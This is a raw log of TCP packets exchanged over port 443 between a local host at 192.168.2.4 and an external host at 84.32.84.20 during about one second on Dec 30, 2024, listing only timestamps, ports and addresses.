Dec 30, 2024 21:42:43.475402117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475578070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475594997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475639105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475646973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475687981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475856066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475869894 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475917101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.475924969 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.475965023 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.476269007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476285934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476317883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.476329088 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476351976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.476370096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.476560116 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476576090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476624012 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.476632118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.476691008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.478749990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563384056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563414097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563477039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563504934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563522100 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563548088 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563607931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563622952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563659906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563667059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563694954 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563714981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563910007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563925982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563966990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.563972950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.563999891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564018011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564238071 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564254045 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564302921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564316988 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564363956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564714909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564735889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564769030 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564775944 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564802885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564821005 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564847946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564862967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564915895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.564923048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.564959049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.565224886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565241098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565284014 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.565290928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565315962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.565336943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.565568924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565584898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565625906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.565633059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.565676928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.568871021 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652271032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652292013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652337074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652367115 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652384043 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652416945 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652489901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652503967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652529001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652534962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652561903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652581930 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652836084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652854919 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652896881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.652904987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.652947903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653100014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653115034 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653143883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653150082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653172016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653191090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653435946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653450966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653482914 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653490067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653507948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653533936 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653795958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653810024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653837919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653845072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.653863907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.653949022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654036045 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654048920 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654076099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654082060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654093981 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654114962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654421091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654436111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654462099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654470921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.654489994 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.654503107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.657139063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741184950 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741203070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741271973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741301060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741345882 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741405010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741419077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741477013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741485119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741522074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741843939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741858959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741906881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741913080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.741939068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.741956949 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742119074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742141008 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742176056 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742182016 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742204905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742222071 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742439985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742465019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742494106 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742501020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742528915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742548943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742703915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742717981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742774010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.742780924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.742820978 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.743026972 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743041039 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743087053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.743093014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743130922 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.743334055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743349075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743401051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.743408918 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.743447065 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.745248079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830199957 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830229998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830266953 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830280066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830317020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830327988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830497980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830513954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830549955 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830557108 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830585003 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830594063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830779076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830794096 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830833912 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.830841064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.830884933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.831012011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.831031084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.831067085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.831073046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.831098080 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.831115961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832520962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832539082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832575083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832581997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832606077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832623959 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832707882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832726955 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832761049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832767963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.832784891 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.832808018 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.833113909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833136082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833165884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.833172083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833201885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.833210945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833224058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.833234072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833247900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.833256960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.833293915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.834378958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.918950081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.918967962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919030905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919039965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919092894 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919234991 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919250965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919300079 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919306040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919344902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919642925 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919657946 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919687033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919730902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919735909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919775009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919917107 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919933081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.919979095 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.919986010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.920011044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.920030117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921241999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921257019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921322107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921329021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921372890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921567917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921588898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921636105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921643019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921674967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921874046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921889067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921917915 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921922922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.921947002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.921964884 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.922190905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.922204971 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.922240019 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.922245979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:43.922271013 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.922288895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:43.923511028 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.007920027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.007936954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.007982969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.007989883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008023024 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008038044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008241892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008258104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008326054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008331060 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008364916 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008537054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008552074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008601904 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008609056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008646011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.008939981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.008953094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.009000063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.009006023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.009047985 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010116100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010130882 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010164976 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010170937 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010195017 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010215044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010426044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010442019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010472059 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010477066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010503054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010521889 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010852098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010868073 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010906935 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010912895 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.010931015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.010952950 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.011102915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.011118889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.011152029 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.011157990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.011183023 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.011198044 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.012348890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.096868038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.096884966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.096927881 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.096956015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.096971989 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097026110 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097135067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097151995 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097184896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097191095 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097230911 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097246885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097408056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097421885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097466946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097474098 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097510099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097510099 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097755909 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097769976 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097816944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097824097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.097851038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.097865105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.098926067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.098942041 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.098989010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.098994970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099042892 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099311113 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099328995 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099366903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099374056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099396944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099404097 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099606037 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099622965 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099663973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099669933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:44.099680901 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:44.099708080 CET	49744	443	192.168.2.4	84.32.84.20
